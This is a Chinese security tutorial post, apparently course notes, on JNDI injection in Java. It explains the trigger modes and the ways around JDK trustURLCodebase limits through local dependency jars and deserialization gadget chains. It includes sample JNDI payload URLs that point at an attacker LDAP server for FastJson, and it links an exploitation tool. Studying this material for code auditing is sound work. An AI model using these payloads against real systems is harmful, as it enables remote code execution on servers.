JavaEE开发篇&JNDI注入&高版本绕过&组件利用&LDAP服务&RMI服务

Ethan医生2个月前代码审计84




#JNDI注入-低版本-原生开发&触发模式

-重要知识:

1、JNDI,LDAP,RMI,反序列化关系

2、LDAP,RMI利用时JDK版本限制

3、JDK高版本绕过方法的所需条件

注:前面2个知识点可以参考第37天直播内容

 

-原生开发

String jndi="ldap://xx.xx.xx.xx/xx";

InitialContext initialContext = new InitialContext();

initialContext.lookup(jndi);

 

-触发模式

1、远程引用模式(基于JDK版本)

2、本地引用模式(基于依赖Jar)

3、反序列化模式(基于gadget链)

针对JDK版本的jndi注入

针对依赖jar包的jndi注入

针对gadget链的jndi注入

 

#JNDI注入-高版本-反序列化&FastJson

参考文章:https://paper.seebug.org/942/

参考文章:https://tttang.com/archive/1405

1、原生开发RMI高版本绕过:(利用依赖jar包绕过)

com.sun.jndi.rmi.object.trustURLCodebase、

com.sun.jndi.cosnaming.object.trustURLCodebase的默认值变为false,

即不允许从远程的Codebase加载Reference工厂类,不过没限制本地加载类文件。

-Tomcat依赖

-Groovy依赖

-其他依赖(见参考)

 

2、原生开发LDAP高版本绕过:(利用反序列化链绕过(也要依赖包))

com.sun.jndi.ldap.object.trustURLCodebase属性的默认值被调整为false,

导致LDAP远程代码攻击方式开始失效。这里可以利用javaSerializedData属性,

当javaSerializedData属性value值不为空时,本地存在反序列化利用链时触发。

-反序列化链(借助链)

-其他依赖链(见参考)

 

3、FastJson组件LADP高版本绕过:

-利用今天讲到的gadget链去打高版本

ldap://127.0.0.1:6666/exp

ldap://192.168.1.4:1389/deserialCommonsCollections7

 

-自动化项目(解决几个组件的反序列化的注入高版本问题)

https://github.com/exp1orer/JNDI-Inject-Exploit

 

JNDI注入高版本的绕过:

看依赖jar包(反序列化链也是看依赖jar包)

具体那些可以:Tomcat Groovy CC

参考:https://tttang.com/archive/1405


标签: JavaEEJNDI

相关文章

ASP.NET开发篇&编译继承架构&DLL反编译&MSSQL监控&SQL注入挖掘

ASPX文件->CS ASPX.CS DLL反编译后寻找 看核心代码分析漏洞CS ASPX.CS DLL反编译文件->ASPX文件寻找 确定漏洞进行调试测试代码审计时要把这个反编译文件提取...

JavaEE开发篇&Shiro反序列化&CB1链&source入口&sink执行&gadget链

JavaEE开发篇&Shiro反序列化&CB1链&source入口&sink执行&gadget链

#Shiro反序列化链知识点:1、Shiro用途和验证逻辑2、Shiro反序列化怎么造成3、Shiro反序列化漏洞利用 #Shiro反序列化链分析当获取用户请求时,大致的关键处理过程如下:·...

JavaEE开发篇&Shiro反序列化&DNS利用链&CC利用链&AES动态调试

Shiro框架:Apache Shiro是一个强大且易用的Java安全框架,提供认证、授权、加密和会话管理等功能。#Shiro反序列化链知识点:1、Shiro用途和验证逻辑2、Shiro反序列化怎么造...

IAST&SAST项目篇&CodeQL拓展&火线洞态&Agent部署&DevSecOps

IAST&SAST项目篇&CodeQL拓展&火线洞态&Agent部署&DevSecOps

#SAST-CodeQL&CodeQLpy-JAVA测评:若依系统&Tmall商城在官方规则引擎下升级Java检测https://github.com/webraybtl/codeQl...

PHP原生开发篇&SQL注入&数据库监控&正则搜索&文件定位&静态分析

PHP原生开发篇&SQL注入&数据库监控&正则搜索&文件定位&静态分析

挖掘技巧:-语句监控-数据库SQL监控排查可利用语句定向分析-功能追踪-功能点文件SQL执行代码函数调用链追踪-正则搜索-(update|select|insert|delete|).*?where....

PHP模型开发篇&动态调试&反序列化&变量覆盖&TP框架&原生POP链

#PHP常见漏洞关键字:SQL注入:select insert update mysql_query mysqli等文件上传:$_FILES,type="file",上传,move...

发表评论    

◎欢迎参与讨论,请在这里发表您的看法、交流您的观点。